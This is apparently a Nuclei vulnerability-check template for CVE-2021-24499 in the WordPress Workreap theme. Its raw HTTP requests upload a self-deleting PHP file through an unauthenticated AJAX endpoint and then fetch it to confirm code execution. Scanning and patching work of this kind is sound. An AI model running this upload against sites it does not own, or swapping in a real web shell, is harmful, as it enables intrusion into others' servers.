WordPress Workreap - Remote Code Execution

id: CVE-2021-24499

info:
  name: WordPress Workreap - Remote Code Execution
  author: daffainfo
  severity: critical
  description: WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update to the latest version of the Workreap plugin to fix the vulnerability.
  reference:
    - https://github.com/RyouYoo/CVE-2021-24499
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24499
    - https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb
    - https://jetpack.com/2021/07/07/multiple-vulnerabilities-in-workreap-theme/
    - http://packetstormsecurity.com/files/172876/WordPress-Workreap-2.2.2-Shell-Upload.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24499
    cwe-id: CWE-434
    epss-score: 0.16767
    epss-percentile: 0.9591
    cpe: cpe:2.3:a:amentotech:workreap:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: amentotech
    product: workreap
    framework: wordpress
  tags: cve,cve2021,wpscan,packetstorm,rce,workreap,wordpress,wp-plugin,intrusive,wp,amentotech

variables:
  string: "CVE-2021-24499"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9
        X-Requested-With: XMLHttpRequest

        -----------------------------cd0dc6bdc00b1cf9
        Content-Disposition: form-data; name="action"

        workreap_award_temp_file_uploader
        -----------------------------cd0dc6bdc00b1cf9
        Content-Disposition: form-data; name="award_img"; filename="{{randstr}}.php"
        Content-Type: application/x-httpd-php

        <?php echo md5("{{string}}");unlink(__FILE__);?>
        -----------------------------cd0dc6bdc00b1cf9--
      - |
        GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200
# digest: 490a0046304402203803828df6054ebd96106046db3acef66a9d1c9040a98107f45179e7ce026baf0220338757892512401c217cefe4e428faa226724818bbee9aef289009c7c4f2a3fa:922c64590222798bb761d5b6d8e72950